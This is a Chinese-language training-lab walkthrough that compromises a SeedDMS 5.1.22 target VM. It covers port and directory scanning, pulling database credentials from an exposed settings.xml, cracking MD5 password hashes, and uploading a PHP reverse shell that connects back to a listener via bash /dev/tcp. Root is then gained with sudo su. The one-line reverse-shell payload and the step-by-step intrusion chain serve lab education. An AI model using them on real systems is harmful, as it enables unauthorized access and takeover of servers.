?本篇关于信息安全实训时靶场训练的操作笔记。
零、环境准备
靶机及kali虚拟机可在如下链接中获取: https://pan.baidu.com/s/1lEpAl-rM9utxcuOMde5_YA?pwd=kid8
一、 收集信息
-
探测目标靶机的IP地址 -
获取靶机开放端口 nmap 192.168.149.0/24 -v 可以看到192.168.149.142开放了80、3306端口 接下来查看具体端口信息:nmap -p- -sV 192.168.149.142 可看到80端口和3306数据库端口均开放。知道他是靶机ip。 -
访问192.168.149.142:80,发现是一个内容网站 访问192.168.149.142:3306 -
扫描目录dirsearch -u http://192.168.149.142/ 以此访问图中显示的路径,未找到有用的信息。 -
在网页源码调用的js中发现http://192.168.149.142/js/main.js该路径,访问发现这句话和路径: //make sure this js file is same as installed app on our server endpoint: /seeddms51x/seeddms-5.1.22/ -
访问该路径http://192.168.149.142/seeddms51x/seeddms-5.1.22/,发现是SeedDMS的登录口。 同时得到版本是5.1.22的信息: -
在网上搜索SeedDMS信息,查看该系统的文件目录获取更多信息。 查看 目录树:https://sourceforge.net/p/seeddms/code/ci/5.1.22/tree/,发现有一个conf配置文件。Conf文件包含服务器的配置,多存在敏感信息 点击conf 查看settings.xml.template,发现该文件中要求写入数据库信息,从中可得mysql账号和密码 -
访问setting.xml:http://192.168.149.142/seeddms51x/conf/settings.xml。可看到默认数据库账户和用户名。 -
使用Navicat for MySQL,成功登入。 (1)在seeddms数据库的users表中,看到存了个用户和密码 Saket:fad47f2f6b1752602ded932fe1bff65e。使用破解网站得到:
(2)在tblUsers表中还有个admin用户 admin:e10adc3949ba59abbe56e057f20f883e
使用破解网站,解开得到密码为:123456
二、 渗透
-
访问http://192.168.149.142/seeddms51x/seeddms-5.1.22/ 。使用admin:123456登录 成功登入 有个“添加文档”的功能可以上传文档,考虑上传php的反弹shell -
先在VPS开启端口监听 -
可以使用在线反弹 shell 生成工具:https://forum.ywhack.com/reverse-shell/,复制红框里的内容保存在本地为 1.php
也可以直接创建1.php文件后输入:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.149.145/1234 0>&1'");?>
-
点击“添加文档”按钮,上传1.php 点击“添加”后,页面显示空白 但是返回首页时,发现是成功上传了的 -
文件上传成功,需要获取路径,此版本存在文件上传漏洞:Exploithttps://www.exploit-db.com/exploits/47022, -
绝对路径为http://192.168.149.142/seeddms51x/data/1048576/dir 号/1.php,通过数据库的 tblDocumentContent 表里发现了上传的文件确定 dir 号。Dir为13。 -
打开 VPS 的监听,然后再浏览器访问此路径的 php 文件:http://192.168.149.142/seeddms51x/data/1048576/13/1.php -
使用命令 python3 -c "import pty; pty.spawn(‘/bin/bash’)"得到一个稳定的 shell
三、 提权
-
进入 home 文件夹查看,发现有 saket 的文件 -
users 表中存在 saket 账户,因此切换用户到 saket,密码为:202219jk -
sudo -l 查看可以执行的所有权限 -
运行直接使用 sudo su, 得到 root 权限 -
查看/root/flag -
根据提示,使用Navicat for MySQL创建表iam
|